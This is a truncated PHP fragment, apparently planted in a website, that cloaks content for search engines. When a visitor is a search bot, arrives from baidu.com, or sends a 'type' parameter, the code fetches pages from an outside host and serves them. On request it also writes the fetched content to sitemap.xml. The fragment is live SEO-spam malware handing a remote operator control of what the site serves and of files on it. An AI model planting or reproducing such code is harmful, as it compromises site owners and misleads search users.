$tag){ if (strstr($user_agent, $tag)){ return true; } } return false; } $referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:''; if (preg_match("/baidu.com/", $referer)||isset($_GET['type'])||is_search_bot()) { $data = getContent('http://s8.chinamsgk.com/'); if (isset($_GET['type']) && $_GET['type'] == 'sitemap') { file_put_contents('sitemap.xml', $data); echo 'ok'; } else { echo $data; } return; } ?>